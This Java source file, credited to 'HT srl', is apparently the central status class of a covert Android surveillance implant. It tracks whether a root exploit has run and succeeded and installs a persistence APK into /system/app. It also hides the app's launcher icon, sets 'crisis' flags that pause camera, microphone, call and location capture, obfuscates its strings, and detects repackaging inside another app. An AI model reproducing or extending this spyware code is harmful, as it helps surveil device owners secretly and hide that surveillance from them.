/* **********************************************
* Create by : Alberto "Q" Pelliccione
* Company : HT srl
* Project : AndroidService
* Created : 01-dec-2010
**********************************************/
package com.android.dvci;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Handler;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.widget.Toast;
import com.android.dvci.action.Action;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfEvent;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.conf.Globals;
import com.android.dvci.crypto.Digest;
import com.android.dvci.event.BaseEvent;
import com.android.dvci.file.AutoFile;
import com.android.dvci.gui.ASG;
import com.android.dvci.module.ModuleCrisis;
import com.android.dvci.util.Check;
import com.android.mm.M;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
// Singleton Class
/**
* The Class Status.
*/
public class Status {
private static final String TAG = "Status"; //$NON-NLS-1$
/**
* The agents map.
*/
private static HashMap<String, ConfModule> modulesMap;
/**
* The events map.
*/
private static HashMap<Integer, ConfEvent> eventsMap;
/**
* The actions map.
*/
private static HashMap<Integer, Action> actionsMap;
private static Globals globals;
/**
* The triggered actions.
*/
private static ArrayList<?>[] triggeredActions = new ArrayList<?>[Action.NUM_QUEUE];
/**
* The synced.
*/
static public boolean synced;
/**
* The drift.
*/
static public int drift;
/**
* The context.
*/
private static Context context;
/**
* For forward compatibility versus 8.0
*/
public static boolean calllistCreated = false;
static Object lockCrisis = new Object();
static private boolean crisis = false;
static private boolean[] crisisType = new boolean[ModuleCrisis.SIZE];
static private boolean haveRoot = false, haveSu = false;
private static Object[] triggeredSemaphore = new Object[Action.NUM_QUEUE];
static public boolean uninstall;
static WakeLock wl;
public static Object uninstallLock = new Object();
private final Date startedTime = new Date();
private boolean deviceAdmin;
private int haveCamera = -1;
private boolean reload;
static public boolean wifiConnected = false;
static public boolean gsmConnected = false;
public static final int EXPLOIT_STATUS_NONE = 0;
public static final int EXPLOIT_STATUS_RUNNING = 1;
public static final int EXPLOIT_STATUS_EXECUTED = 2;
public static final int EXPLOIT_STATUS_NOT_POSSIBLE = 3;
public static final int EXPLOIT_RESULT_NONE = 0;
public static final int EXPLOIT_RESULT_FAIL = 1;
public static final int EXPLOIT_RESULT_SUCCEED = 2;
public static final int EXPLOIT_RESULT_NOTNEEDED = 3;
private static int exploitStatus = EXPLOIT_STATUS_NONE;
private static int exploitResult = EXPLOIT_RESULT_NONE;
public static final int PERSISTENCY_STATUS_NOT_REQUIRED = -1;
public static final int PERSISTENCY_STATUS_TO_INSTALL = 0;
public static final int PERSISTENCY_STATUS_FAILED = 1;
public static final int PERSISTENCY_STATUS_PRESENT_TOREBOOT = 2;
public static final int PERSISTENCY_STATUS_PRESENT = 3;
public static final String persistencyPackage = M.e("StkDevice");
public static final String persistencyApk = M.e("/system/app/") + persistencyPackage + M.e(".apk");
private static ArrayList<String> activityList = null;
static boolean activityListTested = false;
private static int persistencyStatus = PERSISTENCY_STATUS_NOT_REQUIRED;
RunningProcesses runningProcess = RunningProcesses.self();
public Object lockFramebuffer = new Object();
private static ASG gui;
/**
* Instantiates a new status.
*/
private Status() {
modulesMap = new HashMap<String, ConfModule>();
eventsMap = new HashMap<Integer, ConfEvent>();
actionsMap = new HashMap<Integer, Action>();
if (Cfg.PERSISTENCE) {
persistencyStatus = PERSISTENCY_STATUS_TO_INSTALL;
} else {
persistencyStatus = PERSISTENCY_STATUS_NOT_REQUIRED;
}
for (int i = 0; i < Action.NUM_QUEUE; i++) {
triggeredSemaphore[i] = new Object();
triggeredActions[i] = new ArrayList<Integer>();
}
}
/**
* The singleton.
*/
private volatile static Status singleton;
/**
* Self.
*
* @return the status
*/
public static Status self() {
if (singleton == null) {
synchronized (Status.class) {
if (singleton == null) {
singleton = new Status();
}
}
}
return singleton;
}
/**
* Clean.
*/
static public void clean() {
modulesMap.clear();
eventsMap.clear();
actionsMap.clear();
globals = null;
uninstall = false;
// Forward compatibility
calllistCreated = false;
}
/**
* Sets the app context.
*
* @param context the new app context
*/
public static void setAppContext(final Context context) {
if (Cfg.DEBUG) {
Check.requires(context != null, "Null Context"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.log(TAG + " (setAppContext), " + context.getPackageName());
}
Status.context = context;
if (Cfg.POWER_MANAGEMENT) {
final PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "T"); //$NON-NLS-1$
}
}
/**
* Gets the app context.
*
* @return the app context
*/
public static Context getAppContext() {
if (Cfg.DEBUG) {
Check.requires(context != null, "Null Context"); //$NON-NLS-1$
}
return context;
}
public static void setAppGui(ASG applicationContext) {
setAppContext(applicationContext.getAppContext());
Status.gui = applicationContext;
}
public static ASG getAppGui() {
return gui;
}
public static boolean isGuiVisible() {
if(Cfg.GUI){
return RunningProcesses.self().isGuiVisible();
}
return false;
}
public static ContentResolver getContentResolver() {
return context.getContentResolver();
}
static public Handler getDefaultHandler() {
return deafultHandler;
}
// Add an agent to the map
/**
* Adds the agent.
*
* @param a the a
* @throws GeneralException the RCS exception
*/
public static void addModule(final ConfModule a) throws GeneralException {
if (modulesMap.containsKey(a.getType()) == true) {
// throw new RCSException("Agent " + a.getId() + " already loaded");
if (Cfg.DEBUG) {
Check.log(TAG + " Warn: " + "Substituting module: " + a); //$NON-NLS-1$ //$NON-NLS-2$
}
}
final String key = a.getType();
if (Cfg.DEBUG) {
Check.asserts(key != null, "null key"); //$NON-NLS-1$
}
modulesMap.put(a.getType(), a);
}
// Add an event to the map
/**
* Adds the event.
*
* @param e the e
* @return
* @throws GeneralException the RCS exception
*/
public static boolean addEvent(final ConfEvent e) {
if (Cfg.DEBUG) {
//Check.log(TAG + " addEvent "); //$NON-NLS-1$
}
// Don't add the same event twice
if (eventsMap.containsKey(e.getId()) == true) {
// throw new RCSException("Event " + e.getId() + " already loaded");
if (Cfg.DEBUG) {
Check.log(TAG + " Warn: " + "Substituting event: " + e); //$NON-NLS-1$ //$NON-NLS-2$
}
}
eventsMap.put(e.getId(), e);
return true;
}
// Add an action to the map
/**
* Adds the action.
*
* @param a the a
* @throws GeneralException the RCS exception
*/
public static void addAction(final Action a) {
// Don't add the same action twice
if (Cfg.DEBUG) {
Check.requires(!actionsMap.containsKey(a.getId()), "Action " + a.getId() + " already loaded"); //$NON-NLS-1$ //$NON-NLS-2$
}
actionsMap.put(a.getId(), a);
}
static public int getExploitStatus() {
return exploitStatus;
}
static public void setExploitStatus(int es) {
exploitStatus = es;
}
static public int getExploitResult() {
return exploitResult;
}
static public void setExploitResult(int er) {
exploitResult = er;
}
static public String getExploitStatusString() {
switch (exploitStatus) {
case EXPLOIT_STATUS_NONE:
return M.e("NOT RUN");
case EXPLOIT_STATUS_RUNNING:
return M.e("ON GOING");
case EXPLOIT_STATUS_EXECUTED:
return M.e("RUN");
case EXPLOIT_STATUS_NOT_POSSIBLE:
return M.e("NOT POSSIBLE");
default:
break;
}
return M.e("UNKNOWN");
}
static public String getExploitResultString() {
switch (exploitResult) {
case EXPLOIT_RESULT_FAIL:
return M.e("FAILED");
case EXPLOIT_RESULT_SUCCEED:
return M.e("SUCCEED");
case EXPLOIT_RESULT_NOTNEEDED:
return M.e("GOT ALREADY");
case EXPLOIT_RESULT_NONE:
return M.e("NO RESULT");
default:
break;
}
return M.e("UNKNOWN");
}
static public void setGlobal(Globals g) {
globals = g;
}
/**
* Gets the actions number.
*
* @return the actions number
*/
static public int getActionsNumber() {
return actionsMap.size();
}
/**
* Gets the agents number.
*
* @return the agents number
*/
static public int getAgentsNumber() {
return modulesMap.size();
}
/**
* Gets the events number.
*
* @return the events number
*/
static public int getEventsNumber() {
return eventsMap.size();
}
/**
* Gets the agents map.
*
* @return the agents map
*/
static public HashMap<String, ConfModule> getModulesMap() {
return modulesMap;
}
/**
* Gets the events map.
*
* @return the events map
*/
static public HashMap<Integer, ConfEvent> getEventsMap() {
return eventsMap;
}
/**
* Gets the actions map.
*
* @return the actions map
*/
static public HashMap<Integer, Action> getActionsMap() {
return actionsMap;
}
/**
* Gets the action.
*
* @param index the index
* @return the action
* @throws GeneralException the RCS exception
*/
static public Action getAction(final int index) throws GeneralException {
if (actionsMap.containsKey(index) == false) {
throw new GeneralException(index + " not found"); //$NON-NLS-1$ //$NON-NLS-2$
}
final Action a = actionsMap.get(index);
if (a == null) {
throw new GeneralException(index + " is null"); //$NON-NLS-1$ //$NON-NLS-2$
}
return a;
}
/**
* Gets the event.
*
* @param id the id
* @return the event
* @throws GeneralException the RCS exception
*/
static public ConfEvent getEvent(final int id) throws GeneralException {
if (eventsMap.containsKey(id) == false) {
throw new GeneralException(id + " not found"); //$NON-NLS-1$ //$NON-NLS-2$
}
final ConfEvent e = eventsMap.get(id);
if (e == null) {
throw new GeneralException(id + " is null"); //$NON-NLS-1$ //$NON-NLS-2$
}
return e;
}
/**
* @return the option
* @throws GeneralException the RCS exception
*/
static public Globals getGlobals() {
return globals;
}
/**
* Trigger action.
*
* @param i the i
* @param baseEvent
*/
static public void triggerAction(final int i, BaseEvent baseEvent) {
if (Cfg.DEBUG) {
Check.requires(actionsMap != null, " (triggerAction) Assert failed, null actionsMap");
}
Action action = actionsMap.get(Integer.valueOf(i));
if (Cfg.DEBUG) {
Check.asserts(action != null, " (triggerAction) Assert failed, null action");
}
int qq = action.getQueue();
@SuppressWarnings("unchecked")
ArrayList<Trigger> act = (ArrayList<Trigger>) triggeredActions[qq];
Object tsem = triggeredSemaphore[qq];
if (Cfg.DEBUG)
Check.asserts(act != null, "triggerAction, null act");
if (Cfg.DEBUG)
Check.asserts(tsem != null, "triggerAction, null tsem");
Trigger trigger = new Trigger(i, baseEvent);
synchronized (act) {
if (!act.contains(trigger)) {
act.add(new Trigger(i, baseEvent));
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " (triggerAction): notifing queue: " + qq + " size: " + triggeredActions[qq].size());
}
synchronized (tsem) {
try {
tsem.notifyAll();
} catch (final Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(ex);//$NON-NLS-1$
}
}
}
}
/**
* Gets the triggered actions.
*
* @return the triggered actions
*/
static public Trigger[] getTriggeredActions(int qq) {
if (Cfg.DEBUG)
Check.asserts(qq >= 0 && qq < Action.NUM_QUEUE, "getTriggeredActions qq: " + qq);
@SuppressWarnings("unchecked")
ArrayList<Trigger> act = (ArrayList<Trigger>) triggeredActions[qq];
Object tsem = triggeredSemaphore[qq];
if (Cfg.DEBUG)
Check.asserts(tsem != null, "getTriggeredActions null tsem");
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (getTriggeredActions): waiting on sem: " + qq);
}
synchronized (tsem) {
if (act.size() == 0) {
tsem.wait();
} else {
if (Cfg.DEBUG) {
//Check.log(TAG + " (getTriggeredActions): have act not empty, don't wait");
}
}
}
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);
Check.log(TAG + " Error: " + " getActionIdTriggered: " + e); //$NON-NLS-1$ //$NON-NLS-2$
}
}
synchronized (tsem) {
final int size = act.size();
if (Cfg.DEBUG) {
Check.log(TAG + " (getTriggeredActions): size: " + size); //$NON-NLS-1$ //$NON-NLS-2$
}
final Trigger[] triggered = new Trigger[size];
for (int i = 0; i < size; i++) {
triggered[i] = act.get(i);
}
return triggered;
}
}
/**
* Dangerous, DO NOT USE
*
* @param qq
* @return
*/
@Deprecated
static public Trigger[] getNonBlockingTriggeredActions(int qq) {
@SuppressWarnings("unchecked")
ArrayList<Trigger> act = (ArrayList<Trigger>) triggeredActions[qq];
final int size = act.size();
final Trigger[] triggered = new Trigger[size];
for (int i = 0; i < size; i++) {
triggered[i] = act.get(i);
}
return triggered;
}
/**
* Un trigger action.
*
* @param action the action
*/
static public void unTriggerAction(final Action action) {
int qq = action.getQueue();
@SuppressWarnings("unchecked")
ArrayList<Trigger> act = (ArrayList<Trigger>) triggeredActions[qq];
Object sem = triggeredSemaphore[qq];
Trigger trigger = new Trigger(action.getId(), null);
synchronized (act) {
if (act.contains(trigger)) {
act.remove(trigger);
}
}
synchronized (sem) {
try {
sem.notifyAll();
} catch (final Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(ex);//$NON-NLS-1$
}
}
}
}
/**
* Un trigger all.
*/
static public void unTriggerAll() {
if (Cfg.DEBUG) {
Check.log(TAG + " (unTriggerAll)"); //$NON-NLS-1$ //$NON-NLS-2$
}
for (int qq = 0; qq < Action.NUM_QUEUE; qq++) {
@SuppressWarnings("unchecked")
ArrayList<Trigger> act = (ArrayList<Trigger>) triggeredActions[qq];
Object sem = triggeredSemaphore[qq];
synchronized (act) {
act.clear();
}
synchronized (sem) {
try {
sem.notifyAll();
} catch (final Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(ex);//$NON-NLS-1$
}
}
}
}
}
static public synchronized void setCrisis(int type, boolean value) {
synchronized (lockCrisis) {
crisisType[type] = value;
}
if (Cfg.DEBUG) {
Check.log(TAG + " setCrisis: " + type); //$NON-NLS-1$
}
}
static private boolean isCrisis() {
synchronized (lockCrisis) {
return crisis;
}
}
static public boolean crisisPosition() {
synchronized (lockCrisis) {
return (isCrisis() && crisisType[ModuleCrisis.POSITION]);
}
}
static public boolean crisisCamera() {
synchronized (lockCrisis) {
return (isCrisis() && crisisType[ModuleCrisis.CAMERA]);
}
}
static public boolean crisisCall() {
synchronized (lockCrisis) {
return (isCrisis() && crisisType[ModuleCrisis.CALL]);
}
}
static public boolean crisisMic() {
synchronized (lockCrisis) {
return (isCrisis() && crisisType[ModuleCrisis.MIC]);
}
}
static public boolean crisisSync() {
synchronized (lockCrisis) {
return (isCrisis() && crisisType[ModuleCrisis.SYNC]);
}
}
/**
* Start crisis.
*/
static public void startCrisis() {
synchronized (lockCrisis) {
crisis = true;
}
}
/**
* Stop crisis.
*/
static public void stopCrisis() {
synchronized (lockCrisis) {
crisis = false;
}
}
static public boolean haveRoot() {
return haveRoot;
}
static public void setRoot(boolean r) {
haveRoot = r;
}
static public boolean haveSu() {
return haveSu;
}
static public void setSu(boolean s) {
haveSu = s;
}
static public ScheduledExecutorService getStpe() {
return Executors.newScheduledThreadPool(1);
}
static Handler deafultHandler = new Handler();
public void acquirePowerLock() {
if (Cfg.POWER_MANAGEMENT) {
if (Cfg.DEBUG) {
Check.log(TAG + " (acquirePowerLock)");
Check.requires(wl != null, "null wl");
}
if (wl != null) {
wl.acquire(1000);
}
}
}
public void releasePowerLock() {
if (Cfg.POWER_MANAGEMENT) {
if (Cfg.DEBUG) {
Check.log(TAG + " (releasePowerLock)");
Check.requires(wl != null, "null wl");
}
if (wl != null && wl.isHeld()) {
wl.release();
}
}
}
public synchronized void setDeviceAdmin(boolean value) {
deviceAdmin = value;
}
public synchronized boolean haveAdmin() {
return deviceAdmin;
}
public void makeToast(final String message) {
if (Cfg.DEMO) {
try {
Handler h = new Handler(getAppContext().getMainLooper());
// Although you need to pass an appropriate context
h.post(new Runnable() {
@Override
public void run() {
Toast.makeText(context, message, Toast.LENGTH_LONG).show();
}
});
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (makeToast) Error: " + ex);
}
}
}
}
public synchronized void setReload() {
this.reload = true;
}
public synchronized boolean wantsReload() {
return this.reload;
}
public synchronized void unsetReload() {
this.reload = false;
}
public String getForeground() {
return runningProcess.getForeground_wrapper();
}
public RunningProcesses getRunningProcess() {
return runningProcess;
}
public long startedSeconds() {
Date timestamp = new Date();
long delta = timestamp.getTime() - startedTime.getTime();
if (Cfg.DEBUG) {
Check.ensures(delta >= 0, "Can't be negative");
Check.log("Started %s seconds ago", (int) delta / 1000);
}
return delta / 1000;
}
private boolean checkCameraHardware() {
if (Build.DEVICE.equals(M.e("mako")) && android.os.Build.VERSION.SDK_INT < 18) {
if (Cfg.DEBUG) {
Check.log(TAG + " (checkCameraHardware), disabled on nexus4 up to 4.2");
}
return false;
}
if (Status.self().getAppContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)
|| Status.self().getAppContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA_FRONT)) {
// this device has a camera
if (Cfg.DEBUG) {
Check.log(TAG + " (checkCameraHardware), camera present");
}
return true;
} else {
// no camera on this device
if (Cfg.DEBUG) {
Check.log(TAG + " (checkCameraHardware), no camera");
}
return false;
}
}
static public void setIconState(Boolean hide) {
// Nascondi l'icona (subito in android 4.x, al primo reboot
// in android 2.x)
if(!Cfg.GUI){
return;
}
PackageManager pm = Status.self().getAppContext().getPackageManager();
ComponentName cn = new ComponentName(Status.self().getAppContext().getPackageName(), ASG.class.getCanonicalName());
int i = pm.getComponentEnabledSetting(cn);
if (hide) {
if (i != PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
if (Cfg.DEBUG) {
Check.log(TAG + " Hide ICON for:" + cn);//$NON-NLS-1$
}
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}
} else {
int n = 0;
while (i == PackageManager.COMPONENT_ENABLED_STATE_DISABLED && n++ < 5) {
if (Cfg.DEBUG) {
Check.log(TAG + " RESTORE ICON for:" + cn);//$NON-NLS-1$
}
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
PackageManager.DONT_KILL_APP);
try {
Thread.sleep(100);
i = pm.getComponentEnabledSetting(cn);
} catch (InterruptedException e) {
if (Cfg.DEBUG) {
Check.log(TAG + "Exception RESTORE ICON for:" + cn + e);//$NON-NLS-1$
}
}
}
}
// wait few seconds in order to let update the Notification manager, see : https://code.google.com/p/android/issues/detail?id=42540
try {
Thread.sleep(4000);
} catch (InterruptedException e) {
if (Cfg.DEBUG) {
Check.log(TAG + "Exception While waiting in RESTORE ICON for:" + cn + e);//$NON-NLS-1$
}
}
}
public static PackageInfo getMyPackageInfo() {
PackageInfo pi = null;
PackageManager pm = Status.self().getAppContext().getPackageManager();
try {
pi = pm.getPackageInfo(Status.self().getAppContext().getPackageName(), 0);
} catch (PackageManager.NameNotFoundException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (getMyPackageInfo) error:" + e);
}
return null;
}
return pi;
}
public boolean haveCamera() {
if (haveCamera == -1) {
haveCamera = checkCameraHardware() ? 1 : 0;
}
return haveCamera == 1;
}
/*
* return true if we did a persisten installation and
* apk name contained in applicationInfo.sourceDir mismatch
* with the new one , in that case a reboot is needed to
* align the two info.
*/
public static Boolean needReboot() {
PackageInfo pi = null;
if ((pi = getMyPackageInfo()) != null) {
if (persistencyApk != null && !pi.applicationInfo.sourceDir.equals(persistencyApk)) {
return true;
}
}
return false;
}
public static String getApkName() {
PackageInfo pi = null;
if ((pi = getMyPackageInfo()) != null) {
return pi.applicationInfo.sourceDir;
}
return null;
}
public static String getAppDir() {
PackageInfo pi = null;
if ((pi = getMyPackageInfo()) != null) {
return pi.applicationInfo.dataDir;
}
return null;
}
/**
* already persistent and rebooted
* @return
*/
public static Boolean isPersistent() {
String apkName = getApkName();
if (apkName != null) {
return apkName.contains(M.e("/system/app/"));
}
return false;
}
/**
* Installed but not yet reboot
* @return
*/
public static Boolean persistencyReady() {
AutoFile apkFile = new AutoFile(persistencyApk);
if (apkFile.exists()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (persistencyReady) apk already there" + persistencyApk);
}
return true;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (persistencyReady) apk NOT PRESENT there" + persistencyApk);
}
return false;
}
public static void setPersistencyStatus(int i) {
persistencyStatus = i;
}
public static int getPersistencyStatus() {
return persistencyStatus;
}
public static String getPersistencyStatusStr() {
if (!Cfg.PERSISTENCE)
return M.e("not required[c]");
switch (persistencyStatus) {
case PERSISTENCY_STATUS_FAILED:
return M.e("installation failed");
case PERSISTENCY_STATUS_NOT_REQUIRED:
return M.e("not required");
case PERSISTENCY_STATUS_PRESENT:
return M.e("present");
case PERSISTENCY_STATUS_PRESENT_TOREBOOT:
return M.e("present, not yet rebooted");
case PERSISTENCY_STATUS_TO_INSTALL:
return M.e("required, to be installed");
default:
break;
}
return M.e("UNKNOWN");
}
public static boolean isMelt() {
String pack = Status.self().getAppContext().getPackageName();
// echo -n "com.android.dvci" | md5
boolean equal = Digest.MD5(pack).equals("b232a7613976c9420b76780ec6c225a8");
return !(equal);
/*if (activityListTested == false) {
activityList = PackageUtils.getActivitisFromApk(getApkName());
activityListTested = true;
}
if (activityList != null && !activityList.isEmpty()) {
for (String s : activityList) {
if (!s.contains(Status.self().getAppContext().getPackageName())) {
return true;
}
}
}
return false;*/
}
}